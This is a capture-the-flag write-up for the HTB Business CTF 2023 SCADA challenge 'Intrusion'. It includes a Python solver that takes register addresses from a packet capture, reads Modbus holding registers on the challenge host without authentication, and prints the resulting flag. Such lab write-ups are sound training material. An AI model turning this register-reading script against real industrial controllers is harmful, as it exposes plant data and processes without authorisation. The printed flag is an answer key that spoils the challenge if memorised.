Intrusion
Challenge
- CTF: HTB Business CTF 2023: The Great Escape
- Name: Intrusion
- Category: Scada
- Difficulty: Easy
- Points: 1000
- Description: After gaining access to the enemy’s infrastructure, we collected crucial network traffic data from their Modbus network. Our primary objective is to swiftly identify the specific registers containing highly sensitive information and extract that data.
Files
Download: ics_intrusion.zip network_logs.pcapng
1
2
$ file network_logs.pcapng
network_logs.pcapng: pcapng capture file - version 1.0
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import socket
from time import sleep
from umodbus import conf
from umodbus.client import tcp
# Adjust modbus configuration
conf.SIGNED_VALUES = True
# Create a socket connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 502)) # CHANGE THE IP & PORT to the dockers instance
# write your umodbus command here
# command =
# Send your message to the network
tcp.send_message(command, sock)
# Use sleep between messages
time.sleep(1)
# Close the connection
sock.close()
Synopsis
This challenge starts with analyzing a Wireshark capture that contains Modbus traffic with reference numbers. You use the reference numbers to access all the holding registers (sorted) to obtain the flag. The unit identifier of 52
is also shown in the Modbus/TCP in the data of the packet.
The following Python code was used to automate the solving of this challenge and sending Modbus commands. After reading all the specific holding registers in order, we read the obtain the flag.
Python Solution Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python3
# Imports
from cmd import Cmd
import socket
from umodbus import conf
from umodbus.client import tcp
from time import sleep
import subprocess
from sys import exit
# Adjust modbus configuration
conf.SIGNED_VALUES = True
# Verbose output
VERBOSE = False
# Change to the dockers instance
DOCKER_IP = "94.237.62.254"
DOCKER_PORT = 35809
SLAVE_ID = 52 # unit_id
# from reference numbers in PCAP capture
cmd_output = subprocess.check_output(
"tshark -r network_logs.pcapng -Y 'modbus.func_code == 16' -T fields -e 'modbus.reference_num'", shell=True, encoding="utf-8")
ADDR_REGISTERS = [int(i) for i in cmd_output.split()]
ADDR_REGISTERS.sort()
def read_holding_registers(sock, unit_id, address):
"""Read holding registers.
Return ADU for Modbus function code 03: Read Holding Registers.
Holding registers are the most universal 16-bit register, may be read or written, and may be used for a variety of things including inputs, outputs, configuration data, or any requirement for "holding" data.
"""
quantity = 1 # Number of registers to read
if VERBOSE:
print(
f"[*](unit:%20%7Bunit_id%7D,%20addr:%20%7Baddress%7D) Attempting to read holding registers ...")
request = tcp.read_holding_registers(
slave_id=unit_id, starting_address=address, quantity=quantity)
response = tcp.send_message(request, sock)
coil_ascii = "".join(chr(integer) for integer in response)
print(
f"[+](unit:%20%7Bunit_id%7D,%20addr:%20%7Baddress%7D) Holding Registers - {response} | {coil_ascii}")
return coil_ascii
# Connect to modbus
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((DOCKER_IP, DOCKER_PORT))
# Loop through all addresses and send the modbus request
out = ""
for address in ADDR_REGISTERS:
out += read_holding_registers(sock, SLAVE_ID, address)
sleep(0.1)
print(out)
exit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$ python3 intrusion-sol.py
[+](unit:%2052,%20addr:%206) Holding Registers - [72] | H
[+](unit:%2052,%20addr:%2010) Holding Registers - [84] | T
[+](unit:%2052,%20addr:%2012) Holding Registers - [66] | B
[+](unit:%2052,%20addr:%2021) Holding Registers - [123] | {
[+](unit:%2052,%20addr:%2022) Holding Registers - [50] | 2
[+](unit:%2052,%20addr:%2026) Holding Registers - [51] | 3
[+](unit:%2052,%20addr:%2047) Holding Registers - [57] | 9
[+](unit:%2052,%20addr:%2053) Holding Registers - [49] | 1
[+](unit:%2052,%20addr:%2063) Holding Registers - [53] | 5
[+](unit:%2052,%20addr:%2077) Holding Registers - [55] | 7
[+](unit:%2052,%20addr:%2083) Holding Registers - [51] | 3
[+](unit:%2052,%20addr:%2086) Holding Registers - [50] | 2
[+](unit:%2052,%20addr:%2089) Holding Registers - [53] | 5
[+](unit:%2052,%20addr:%2095) Holding Registers - [95] | _
[+](unit:%2052,%20addr:%2096) Holding Registers - [109] | m
[+](unit:%2052,%20addr:%20104) Holding Registers - [49] | 1
[+](unit:%2052,%20addr:%20123) Holding Registers - [57] | 9
[+](unit:%2052,%20addr:%20128) Holding Registers - [104] | h
[+](unit:%2052,%20addr:%20131) Holding Registers - [55] | 7
[+](unit:%2052,%20addr:%20134) Holding Registers - [95] | _
[+](unit:%2052,%20addr:%20139) Holding Registers - [104] | h
[+](unit:%2052,%20addr:%20143) Holding Registers - [49] | 1
[+](unit:%2052,%20addr:%20144) Holding Registers - [100] | d
[+](unit:%2052,%20addr:%20145) Holding Registers - [100] | d
[+](unit:%2052,%20addr:%20153) Holding Registers - [51] | 3
[+](unit:%2052,%20addr:%20163) Holding Registers - [95] | _
[+](unit:%2052,%20addr:%20168) Holding Registers - [53] | 5
[+](unit:%2052,%20addr:%20173) Holding Registers - [51] | 3
[+](unit:%2052,%20addr:%20179) Holding Registers - [99] | c
[+](unit:%2052,%20addr:%20193) Holding Registers - [50] | 2
[+](unit:%2052,%20addr:%20206) Holding Registers - [51] | 3
[+](unit:%2052,%20addr:%20210) Holding Registers - [55] | 7
[+](unit:%2052,%20addr:%20214) Holding Registers - [53] | 5
[+](unit:%2052,%20addr:%20215) Holding Registers - [33] | !
[+](unit:%2052,%20addr:%20219) Holding Registers - [64] | @
[+](unit:%2052,%20addr:%20221) Holding Registers - [36] | $
[+](unit:%2052,%20addr:%20224) Holding Registers - [50] | 2
[+](unit:%2052,%20addr:%20225) Holding Registers - [54] | 6
[+](unit:%2052,%20addr:%20226) Holding Registers - [48] | 0
[+](unit:%2052,%20addr:%20231) Holding Registers - [57] | 9
[+](unit:%2052,%20addr:%20239) Holding Registers - [94] | ^
[+](unit:%2052,%20addr:%20253) Holding Registers - [125] | }
HTB{239157325_m19h7_h1dd3_53c2375!@$2609^}
Flag: HTB{239157325_m19h7_h1dd3_53c2375!@$2609^}
This post is licensed under CC BY 4.0 by the author.